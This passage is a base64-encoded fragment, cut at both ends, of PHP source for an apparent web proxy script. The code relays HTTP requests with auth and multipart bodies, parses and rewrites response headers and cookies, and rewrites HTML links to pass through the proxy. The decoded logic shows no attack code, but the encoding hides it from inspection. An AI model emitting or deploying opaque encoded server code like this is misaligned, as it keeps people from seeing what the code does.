xtXX1cclxuIjsNCiAgICB9DQogICAgZWxzZSBpZiAobGlzdCgkX2Jhc2ljX2F1dGhfcmVhbG0sICRfYmFzaWNfYXV0aF9oZWFkZXIpID0gZWFjaCgkX2F1dGhfY3JlZHMpKQ0KICAgIHsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIkF1dGhvcml6YXRpb246IEJhc2ljIHskX2Jhc2ljX2F1dGhfaGVhZGVyfVxyXG4iOw0KICAgIH0NCiAgICBpZiAoJF9yZXF1ZXN0X21ldGhvZCA9PSAnUE9TVCcpDQogICAgeyAgIA0KICAgICAgICBpZiAoIWVtcHR5KCRfRklMRVMpICYmICRfc3lzdGVtWyd1cGxvYWRzJ10pDQogICAgICAgIHsNCiAgICAgICAgICAgICRfZGF0YV9ib3VuZGFyeSA9ICctLS0tJyAuIG1kNSh1bmlxaWQocmFuZCgpLCB0cnVlKSk7DQogICAgICAgICAgICAkYXJyYXkgPSBzZXRfcG9zdF92YXJzKCRfUE9TVCk7DQogICAgDQogICAgICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGtleSA9PiAkdmFsdWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gIi0teyRfZGF0YV9ib3VuZGFyeX1cclxuIjsNCiAgICAgICAgICAgICAgICAkX3Bvc3RfYm9keSAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPVwiJGtleVwiXHJcblxyXG4iOw0KICAgICAgICAgICAgICAgICRfcG9zdF9ib2R5IC49IHVybGRlY29kZSgkdmFsdWUpIC4gIlxyXG4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkYXJyYXkgPSBzZXRfcG9zdF9maWxlcygkX0ZJTEVTKTsNCiAgICANCiAgICAgICAgICAgIGZvcmVhY2ggKCRhcnJheSBhcyAka2V5ID0+ICRmaWxlX2luZm8pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gIi0teyRfZGF0YV9ib3VuZGFyeX1cclxuIjsNCiAgICAgICAgICAgICAgICAkX3Bvc3RfYm9keSAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPVwiJGtleVwiOyBmaWxlbmFtZT1cInskZmlsZV9pbmZvWyduYW1lJ119XCJcclxuIjsNCiAgICAgICAgICAgICAgICAkX3Bvc3RfYm9keSAuPSAnQ29udGVudC1UeXBlOiAnIC4gKGVtcHR5KCRmaWxlX2luZm9bJ3R5cGUnXSkgPyAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyA6ICRmaWxlX2luZm9bJ3R5cGUnXSkgLiAiXHJcblxyXG4iOw0KICAgIA0KICAgICAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkZmlsZV9pbmZvWyd0bXBfbmFtZSddKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRoYW5kbGUgPSBmb3BlbigkZmlsZV9pbmZvWyd0bXBfbmFtZSddLCAncmInKTsNCiAgICAgICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gZnJlYWQoJGhhbmRsZSwgZmlsZXNpemUoJGZpbGVfaW5mb1sndG1wX25hbWUnXSkpOw0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICRfcG9zdF9ib2R5IC49ICJcclxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJF9wb3N0X2JvZHkgICAgICAgLj0gIi0teyRfZGF0YV9ib3VuZGFyeX0tLVxyXG4iOw0KICAgICAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L2Zvcm0tZGF0YTsgYm91bmRhcnk9eyRfZGF0YV9ib3VuZGFyeX1cclxuIjsNCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJDb250ZW50LUxlbmd0aDogIiAuIHN0cmxlbigkX3Bvc3RfYm9keSkgLiAiXHJcblxyXG4iOw0KICAgICAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gJF9wb3N0X2JvZHk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkYXJyYXkgPSBzZXRfcG9zdF92YXJzKCRfUE9TVCk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGZvcmVhY2ggKCRhcnJheSBhcyAka2V5ID0+ICR2YWx1ZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkX3Bvc3RfYm9keSAuPSAhZW1wdHkoJF9wb3N0X2JvZHkpID8gJyYnIDogJyc7DQogICAgICAgICAgICAgICAgJF9wb3N0X2JvZHkgLj0gJGtleSAuICc9JyAuICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG4iOw0KICAgICAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIkNvbnRlbnQtTGVuZ3RoOiAiIC4gc3RybGVuKCRfcG9zdF9ib2R5KSAuICJcclxuXHJcbiI7DQogICAgICAgICAgICAkX3JlcXVlc3RfaGVhZGVycyAuPSAkX3Bvc3RfYm9keTsNCiAgICAgICAgICAgICRfcmVxdWVzdF9oZWFkZXJzIC49ICJcclxuIjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJF9wb3N0X2JvZHkgPSAnJzsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJF9yZXF1ZXN0X2hlYWRlcnMgLj0gIlxyXG4iOw0KICAgIH0NCg0KICAgIGZ3cml0ZSgkX3NvY2tldCwgJF9yZXF1ZXN0X2hlYWRlcnMpOw0KICAgIA0KICAgIC8vDQogICAgLy8gUFJPQ0VTUyBSRVNQT05TRSBIRUFERVJTDQogICAgLy8NCiAgICANCiAgICAkX3Jlc3BvbnNlX2hlYWRlcnMgPSAkX3Jlc3BvbnNlX2tleXMgPSBhcnJheSgpOw0KICAgIA0KICAgICRsaW5lID0gZmdldHMoJF9zb2NrZXQsIDgxOTIpOw0KICAgIA0KICAgIHdoaWxlIChzdHJzcG4oJGxpbmUsICJcclxuIikgIT09IHN0cmxlbigkbGluZSkpDQogICAgew0KICAgICAgICBAbGlzdCgkbmFtZSwgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7DQogICAgICAgICRuYW1lID0gdHJpbSgkbmFtZSk7DQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1tzdHJ0b2xvd2VyKCRuYW1lKV1bXSA9IHRyaW0oJHZhbHVlKTsNCiAgICAgICAgJF9yZXNwb25zZV9rZXlzW3N0cnRvbG93ZXIoJG5hbWUpXSA9ICRuYW1lOw0KICAgICAgICAkbGluZSA9IGZnZXRzKCRfc29ja2V0LCA4MTkyKTsNCiAgICB9DQogICAgDQogICAgc3NjYW5mKGN1cnJlbnQoJF9yZXNwb25zZV9rZXlzKSwgJyVzICVzJywgJF9odHRwX3ZlcnNpb24sICRfcmVzcG9uc2VfY29kZSk7DQogICAgDQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC10eXBlJ10pKQ0KICAgIHsNCiAgICAgICAgbGlzdCgkX2NvbnRlbnRfdHlwZSwgKSA9IGV4cGxvZGUoJzsnLCBzdHJfcmVwbGFjZSgnICcsICcnLCBzdHJ0b2xvd2VyKCRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKSwgMik7DQogICAgfQ0KICAgIGlmIChpc3NldCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ10pKQ0KICAgIHsNCiAgICAgICAgJF9jb250ZW50X2xlbmd0aCA9ICRfcmVzcG9uc2VfaGVhZGVyc1snY29udGVudC1sZW5ndGgnXVswXTsNCiAgICAgICAgdW5zZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxlbmd0aCddLCAkX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtbGVuZ3RoJ10pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWRpc3Bvc2l0aW9uJ10pKQ0KICAgIHsNCiAgICAgICAgJF9jb250ZW50X2Rpc3AgPSAkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtZGlzcG9zaXRpb24nXVswXTsNCiAgICAgICAgdW5zZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWRpc3Bvc2l0aW9uJ10sICRfcmVzcG9uc2Vfa2V5c1snY29udGVudC1kaXNwb3NpdGlvbiddKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddKSAmJiAkX2ZsYWdzWydhY2NlcHRfY29va2llcyddKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJF9yZXNwb25zZV9oZWFkZXJzWydzZXQtY29va2llJ10gYXMgJGNvb2tpZSkNCiAgICAgICAgew0KICAgICAgICAgICAgJG5hbWUgPSAkdmFsdWUgPSAkZXhwaXJlcyA9ICRwYXRoID0gJGRvbWFpbiA9ICRzZWN1cmUgPSAkZXhwaXJlc190aW1lID0gJyc7DQoNCiAgICAgICAgICAgIHByZWdfbWF0Y2goJyNeXHMqKFtePTssXHNdKilccyo9P1xzKihbXjtdKikjJywgICRjb29raWUsICRtYXRjaCkgJiYgbGlzdCgsICRuYW1lLCAkdmFsdWUpID0gJG1hdGNoOw0KICAgICAgICAgICAgcHJlZ19tYXRjaCgnIztccypleHBpcmVzXHMqPVxzKihbXjtdKikjaScsICAgICAgJGNvb2tpZSwgJG1hdGNoKSAmJiBsaXN0KCwgJGV4cGlyZXMpICAgICAgPSAkbWF0Y2g7DQogICAgICAgICAgICBwcmVnX21hdGNoKCcjO1xzKnBhdGhccyo9XHMqKFteOyxcc10qKSNpJywgICAgICAkY29va2llLCAkbWF0Y2gpICYmIGxpc3QoLCAkcGF0aCkgICAgICAgICA9ICRtYXRjaDsNCiAgICAgICAgICAgIHByZWdfbWF0Y2goJyM7XHMqZG9tYWluXHMqPVxzKihbXjssXHNdKikjaScsICAgICRjb29raWUsICRtYXRjaCkgJiYgbGlzdCgsICRkb21haW4pICAgICAgID0gJG1hdGNoOw0KICAgICAgICAgICAgcHJlZ19tYXRjaCgnIztccyooc2VjdXJlXGIpI2knLCAgICAgICAgICAgICAgICAgJGNvb2tpZSwgJG1hdGNoKSAmJiBsaXN0KCwgJHNlY3VyZSkgICAgICAgPSAkbWF0Y2g7DQogICAgDQogICAgICAgICAgICAkZXhwaXJlc190aW1lID0gZW1wdHkoJGV4cGlyZXMpID8gMCA6IGludHZhbChAc3RydG90aW1lKCRleHBpcmVzKSk7DQogICAgICAgICAgICAkZXhwaXJlcyA9ICgkX2ZsYWdzWydzZXNzaW9uX2Nvb2tpZXMnXSAmJiAhZW1wdHkoJGV4cGlyZXMpICYmIHRpbWUoKS0kZXhwaXJlc190aW1lIDwgMCkgPyAnJyA6ICRleHBpcmVzOw0KICAgICAgICAgICAgJHBhdGggICAgPSBlbXB0eSgkcGF0aCkgICA/ICcvJyA6ICRwYXRoOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKGVtcHR5KCRkb21haW4pKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRkb21haW4gPSAkX3VybF9wYXJ0c1snaG9zdCddOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRkb21haW4gPSAnLicgLiBzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCcuLicsICcuJywgdHJpbSgkZG9tYWluLCAnLicpKSk7DQogICAgDQogICAgICAgICAgICAgICAgaWYgKCghcHJlZ19tYXRjaCgnI1xRJyAuICRkb21haW4gLiAnXEUkI2knLCAkX3VybF9wYXJ0c1snaG9zdCddKSAmJiAkZG9tYWluICE9ICcuJyAuICRfdXJsX3BhcnRzWydob3N0J10pIHx8IChzdWJzdHJfY291bnQoJGRvbWFpbiwgJy4nKSA8IDIgJiYgJGRvbWFpbnswfSA9PSAnLicpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGNvdW50KCRfQ09PS0lFKSA+PSAxNSAmJiB0aW1lKCktJGV4cGlyZXNfdGltZSA8PSAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRfc2V0X2Nvb2tpZVtdID0gYWRkX2Nvb2tpZShjdXJyZW50KCRfQ09PS0lFKSwgJycsIDEpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkX3NldF9jb29raWVbXSA9IGFkZF9jb29raWUoIkNPT0tJRTskbmFtZTskcGF0aDskZG9tYWluIiwgIiR2YWx1ZTskc2VjdXJlIiwgJGV4cGlyZXNfdGltZSk7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddKSkNCiAgICB7DQogICAgICAgIHVuc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snc2V0LWNvb2tpZSddLCAkX3Jlc3BvbnNlX2tleXNbJ3NldC1jb29raWUnXSk7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9zZXRfY29va2llKSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2Vfa2V5c1snc2V0LWNvb2tpZSddID0gJ1NldC1Db29raWUnOw0KICAgICAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbJ3NldC1jb29raWUnXSA9ICRfc2V0X2Nvb2tpZTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sncDNwJ10pICYmIHByZWdfbWF0Y2goJyNwb2xpY3lyZWZccyo9XHMqW1wnIl0/KFteXCciXHNdKilbXCciXT8jaScsICRfcmVzcG9uc2VfaGVhZGVyc1sncDNwJ11bMF0sICRtYXRjaGVzKSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1sncDNwJ11bMF0gPSBzdHJfcmVwbGFjZSgkbWF0Y2hlc1swXSwgJ3BvbGljeXJlZj0iJyAuIGNvbXBsZXRlX3VybCgkbWF0Y2hlc1sxXSkgLiAnIicsICRfcmVzcG9uc2VfaGVhZGVyc1sncDNwJ11bMF0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydyZWZyZXNoJ10pICYmIHByZWdfbWF0Y2goJyMoWzAtOVxzXSo7XHMqVVJMXHMqPSlccyooXFMqKSNpJywgJF9yZXNwb25zZV9oZWFkZXJzWydyZWZyZXNoJ11bMF0sICRtYXRjaGVzKSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1sncmVmcmVzaCddWzBdID0gJG1hdGNoZXNbMV0gLiBjb21wbGV0ZV91cmwoJG1hdGNoZXNbMl0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydsb2NhdGlvbiddKSkNCiAgICB7ICAgDQogICAgICAgICRfcmVzcG9uc2VfaGVhZGVyc1snbG9jYXRpb24nXVswXSA9IGNvbXBsZXRlX3VybCgkX3Jlc3BvbnNlX2hlYWRlcnNbJ2xvY2F0aW9uJ11bMF0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWyd1cmknXSkpDQogICAgeyAgIA0KICAgICAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbJ3VyaSddWzBdID0gY29tcGxldGVfdXJsKCRfcmVzcG9uc2VfaGVhZGVyc1sndXJpJ11bMF0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxvY2F0aW9uJ10pKQ0KICAgIHsgICANCiAgICAgICAgJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxvY2F0aW9uJ11bMF0gPSBjb21wbGV0ZV91cmwoJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxvY2F0aW9uJ11bMF0pOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb25uZWN0aW9uJ10pKQ0KICAgIHsNCiAgICAgICAgdW5zZXQoJF9yZXNwb25zZV9oZWFkZXJzWydjb25uZWN0aW9uJ10sICRfcmVzcG9uc2Vfa2V5c1snY29ubmVjdGlvbiddKTsNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sna2VlcC1hbGl2ZSddKSkNCiAgICB7DQogICAgICAgIHVuc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1sna2VlcC1hbGl2ZSddLCAkX3Jlc3BvbnNlX2tleXNbJ2tlZXAtYWxpdmUnXSk7DQogICAgfQ0KICAgIGlmICgkX3Jlc3BvbnNlX2NvZGUgPT0gNDAxICYmIGlzc2V0KCRfcmVzcG9uc2VfaGVhZGVyc1snd3d3LWF1dGhlbnRpY2F0ZSddKSAmJiBwcmVnX21hdGNoKCcjYmFzaWNccysoPzpyZWFsbT0iKC4qPykiKT8jaScsICRfcmVzcG9uc2VfaGVhZGVyc1snd3d3LWF1dGhlbnRpY2F0ZSddWzBdLCAkbWF0Y2hlcykpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9hdXRoX2NyZWRzWyRtYXRjaGVzWzFdXSkgJiYgISRfcXVpdCkNCiAgICAgICAgew0KICAgICAgICAgICAgJF9iYXNpY19hdXRoX3JlYWxtICA9ICRtYXRjaGVzWzFdOw0KICAgICAgICAgICAgJF9iYXNpY19hdXRoX2hlYWRlciA9ICcnOw0KICAgICAgICAgICAgJF9yZXRyeSA9ICRfcXVpdCA9IHRydWU7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsICdjYXRlZ29yeScgPT4gJ2F1dGgnLCAncmVhbG0nID0+ICRtYXRjaGVzWzFdKSk7DQogICAgICAgIH0NCiAgICB9DQp9DQp3aGlsZSAoJF9yZXRyeSk7DQoNCi8vDQovLyBPVVRQVVQgUkVTUE9OU0UgSUYgTk8gUFJPWElGSUNBVElPTiBJUyBORUVERUQNCi8vICANCg0KaWYgKCFpc3NldCgkX3Byb3hpZnlbJF9jb250ZW50X3R5cGVdKSkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICANCiAgICAkX3Jlc3BvbnNlX2tleXNbJ2NvbnRlbnQtZGlzcG9zaXRpb24nXSA9ICdDb250ZW50LURpc3Bvc2l0aW9uJzsNCiAgICAkX3Jlc3BvbnNlX2hlYWRlcnNbJ2NvbnRlbnQtZGlzcG9zaXRpb24nXVswXSA9IGVtcHR5KCRfY29udGVudF9kaXNwKSA/ICgkX2NvbnRlbnRfdHlwZSA9PSAnYXBwbGljYXRpb24vb2N0ZXRfc3RyZWFtJyA/ICdhdHRhY2htZW50JyA6ICdpbmxpbmUnKSAuICc7IGZpbGVuYW1lPSInIC4gJF91cmxfcGFydHNbJ2ZpbGUnXSAuICciJyA6ICRfY29udGVudF9kaXNwOw0KICAgIA0KICAgIGlmICgkX2NvbnRlbnRfbGVuZ3RoICE9PSBmYWxzZSkNCiAgICB7DQogICAgICAgIGlmICgkX2NvbmZpZ1snbWF4X2ZpbGVfc2l6ZSddICE9IC0xICYmICRfY29udGVudF9sZW5ndGggPiAkX2NvbmZpZ1snbWF4X2ZpbGVfc2l6ZSddKQ0KICAgICAgICB7DQogICAgICAgICAgICBzaG93X3JlcG9ydChhcnJheSgnd2hpY2gnID0+ICdpbmRleCcsICdjYXRlZ29yeScgPT4gJ2Vycm9yJywgJ2dyb3VwJyA9PiAncmVzb3VyY2UnLCAndHlwZScgPT4gJ2ZpbGVfc2l6ZScpKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJF9yZXNwb25zZV9rZXlzWydjb250ZW50LWxlbmd0aCddID0gJ0NvbnRlbnQtTGVuZ3RoJzsNCiAgICAgICAgJF9yZXNwb25zZV9oZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdID0gJF9jb250ZW50X2xlbmd0aDsNCiAgICB9DQogICAgDQogICAgJF9yZXNwb25zZV9oZWFkZXJzICAgPSBhcnJheV9maWx0ZXIoJF9yZXNwb25zZV9oZWFkZXJzKTsNCiAgICAkX3Jlc3BvbnNlX2tleXMgICAgICA9IGFycmF5X2ZpbHRlcigkX3Jlc3BvbnNlX2tleXMpOw0KICAgIA0KICAgIGhlYWRlcihhcnJheV9zaGlmdCgkX3Jlc3BvbnNlX2tleXMpKTsNCiAgICBhcnJheV9zaGlmdCgkX3Jlc3BvbnNlX2hlYWRlcnMpOw0KICAgIA0KICAgIGZvcmVhY2ggKCRfcmVzcG9uc2VfaGVhZGVycyBhcyAkbmFtZSA9PiAkYXJyYXkpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJHZhbHVlKQ0KICAgICAgICB7DQogICAgICAgICAgICBoZWFkZXIoJF9yZXNwb25zZV9rZXlzWyRuYW1lXSAuICc6ICcgLiAkdmFsdWUsIGZhbHNlKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAgICAgDQogICAgZG8NCiAgICB7DQogICAgICAgICRkYXRhID0gZnJlYWQoJF9zb2NrZXQsIDgxOTIpOw0KICAgICAgICBlY2hvICRkYXRhOw0KICAgIH0NCiAgICB3aGlsZSAoaXNzZXQoJGRhdGF7MH0pKTsNCiAgICAgICAgDQogICAgZmNsb3NlKCRfc29ja2V0KTsNCiAgICBleGl0KDApOw0KfQ0KDQpkbw0Kew0KICAgICRkYXRhID0gQGZyZWFkKCRfc29ja2V0LCA4MTkyKTsgLy8gc2lsZW5jZWQgdG8gYXZvaWQgdGhlICJub3JtYWwiIHdhcm5pbmcgYnkgYSBmYXVsdHkgU1NMIGNvbm5lY3Rpb24NCiAgICAkX3Jlc3BvbnNlX2JvZHkgLj0gJGRhdGE7DQp9ICAgDQp3aGlsZSAoaXNzZXQoJGRhdGF7MH0pKTsNCiAgIA0KdW5zZXQoJGRhdGEpOw0KZmNsb3NlKCRfc29ja2V0KTsNCg0KLy8NCi8vIE1PRElGWSBBTkQgRFVNUCBSRVNPVVJDRQ0KLy8NCg0KaWYgKCRfY29udGVudF90eXBlID09ICd0ZXh0L2NzcycpDQp7DQogICAgJF9yZXNwb25zZV9ib2R5ID0gcHJveGlmeV9jc3MoJF9yZXNwb25zZV9ib2R5KTsNCn0NCmVsc2UNCnsNCiAgICBpZiAoJF9mbGFnc1snc3RyaXBfdGl0bGUnXSkNCiAgICB7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHByZWdfcmVwbGFjZSgnIyg8XHMqdGl0bGVbXj5dKj4pKC4qPykoPFxzKi90aXRsZVtePl0qPikjaXMnLCAnJDEkMycsICRfcmVzcG9uc2VfYm9keSk7DQogICAgfQ0KICAgIGlmICgkX2ZsYWdzWydyZW1vdmVfc2NyaXB0cyddKQ0KICAgIHsNCiAgICAgICAgJF9yZXNwb25zZV9ib2R5ID0gcHJlZ19yZXBsYWNlKCcjPFxzKnNjcmlwdFtePl0qPz4uKj88XHMqL1xzKnNjcmlwdFxzKj4jc2knLCAnJywgJF9yZXNwb25zZV9ib2R5KTsNCiAgICAgICAgJF9yZXNwb25zZV9ib2R5ID0gcHJlZ19yZXBsYWNlKCIjKFxib25bYS16XSspXHMqPVxzKig/OlwiKFteXCJdKilcIj98JyhbXiddKiknP3woW14nXCJccz5dKikpPyNpIiwgJycsICRfcmVzcG9uc2VfYm9keSk7DQogICAgICAgICRfcmVzcG9uc2VfYm9keSA9IHByZWdfcmVwbGFjZSgnIzxub3NjcmlwdD4oLio/KTwvbm9zY3JpcHQ+I3NpJywgIiQxIiwgJF9yZXNwb25zZV9ib2R5KTsNCiAgICB9DQogICAgaWYgKCEkX2ZsYWdzWydzaG93X2ltYWdlcyddKQ0KICAgIHsNCiAgICAgICAgJF9yZXNwb25zZV9ib2R5ID0gcHJlZ19yZXBsYWNlKCcjPChpbWd8aW1hZ2UpW14+XSo/PiNzaScsICcnLCAkX3Jlc3BvbnNlX2JvZHkpOw0KICAgIH0NCiAgICANCiAgICAvLw0KICAgIC8vIFBST1hJRlkgSFRNTCBSRVNPVVJDRQ0KICAgIC8vDQogICAgDQogICAgJHRhZ3MgPSBhcnJheQ0KICAgICgNCiAgICAgICAgJ2EnICAgICAgICAgID0+IGFycmF5KCdocmVmJyksDQogICAgICAgICdpbWcnICAgICAgICA9PiBhcnJheSgnc3JjJywgJ2xvbmdkZXNjJyksDQogICAgICAgICdpbWFnZScgICAgICA9PiBhcnJheSgnc3JjJywgJ2xvbmdkZXNjJyksDQogICAgICAgICdib2R5JyAgICAgICA9PiBhcnJheSgnYmFja2dyb3VuZCcpLA0KICAgICAgICAnYmFzZScgICAgICAgPT4gYXJyYXkoJ2hyZWYnKSwNCiAgICAgICAgJ2ZyYW1lJyAgICAgID0+IGFycmF5KCdzcmMnLCAnbG9uZ2Rlc2MnKSwNCiAgICAgICAgJ2lmcmFtZScgICAgID0+IGFycmF5KCdzcmMnLCAnbG9uZ2Rlc2MnKSwNCiAgICAgICAgJ2hlYWQnICAgICAgID0+IGFycmF5KCdwcm9maWxlJyksDQogICAgICAgICdsYXllcicgICAgICA9PiBhcnJheSgnc3JjJyksDQogICAgICAgICdpbnB1dCcgICAgICA9PiBhcnJheSgnc3JjJywgJ3VzZW1hcCcpLA0KICAgICAgICAnZm9ybScgICAgICAgPT4gYXJyYXkoJ2FjdGlvbicpLA0KICAgICAgICAnYXJlYScgICAgICAgPT4gYXJyYXkoJ2hyZWYnKSwNCiAgICAgICAgJ2xpbmsnICAgICAgID0+IGFycmF5KCdocmVmJywgJ3NyYycsICd1cm4nKSwNCiAgICAgICAgJ21ldGEnICAgICAgID0+IGFycmF5KCdjb250ZW50JyksDQogICAgICAgICdwYXJhbScgICAgICA9PiBhcnJheSgndmFsdWUnKSwNCiAgICAgICAgJ2FwcGxldCcgICAgID0+IGFycmF5KCdjb2RlYmFzZScsICdjb2RlJywgJ29iamVjdCcsICdhcmNoaXZlJyksDQogICAgICAgICdvYmplY3QnICAgICA9PiBhcnJheSgndXNlcm1hcCcsICdjb2RlYmFzZScsICdjbGFzc2lkJywgJ2FyY2hpdmUnLCAnZGF0YScpLA0KICAgICAgICAnc2NyaXB0JyAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAnc2VsZWN0JyAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAnaHInICAgICAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAndGFibGUnICAgICAgPT4gYXJyYXkoJ2JhY2tncm91bmQnKSwNCiAgICAgICAgJ3RyJyAgICAgICAgID0+IGFycmF5KCdiYWNrZ3JvdW5kJyksDQogICAgICAgICd0aCcgICAgICAgICA9PiBhcnJheSgnYmFja2dyb3VuZCcpLA0KICAgICAgICAndGQnICAgICAgICAgPT4gYXJyYXkoJ2JhY2tncm91bmQnKSwNCiAgICAgICAgJ2Jnc291bmQnICAgID0+IGFycmF5KCdzcmMnKSwNCiAgICAgICAgJ2Jsb2NrcXVvdGUnID0+IGFycmF5KCdjaXRlJyksDQogICAgICAgICdkZWwnICAgICAgICA9PiBhcnJheSgnY2l0ZScpLA0KICAgICAgICAnZW1iZWQnICAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAnZmlnJyAgICAgICAgPT4gYXJyYXkoJ3NyYycsICdpbWFnZW1hcCcpLA0KICAgICAgICAnaWxheWVyJyAgICAgPT4gYXJyYXkoJ3NyYycpLA0KICAgICAgICAnaW5zJyAgICAgICAgPT4gYXJyYXkoJ2NpdGUnKSwNCiAgICAgICAgJ25vdGUnICAgICAgID0+IGFycmF5KCdzcmMnKSwNCiAgICAgICAgJ292ZXJsYXknICAgID0+IGFycmF5KCdzcmMnLCAnaW1hZ2VtYXAnKSwNCiAgICAgICAgJ3EnICAgICAgICAgID0+IGFycmF5KCdjaXRlJyksDQogICAgICAgICd1bCcgICAgICAgICA9PiBhcnJheSgnc3JjJykNCiAgICApOw0KDQogICAgcHJlZ19tYXRjaF9hbGwoJyMoPFxzKnN0eWxlW14+XSo+KSguKj8pKDxccyovXHMqc3R5bGVbXj5dKj4pI2lzJywgJF9yZXNwb25zZV9ib2R5LCAkbWF0Y2hlcywgUFJFR19TRVRfT1JERVIpOw0KDQogICAgZm9yICgkaSA9IDAsICRjb3VudF9pID0gY291bnQoJG1hdGNoZXMpOyAkaSA8ICRjb3VudF9pOyArKyRpKQ0KICAgIHsNCiAgICAgICAgJF9yZXNwb25zZV9ib2R5ID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbJGldWzBdLCAkbWF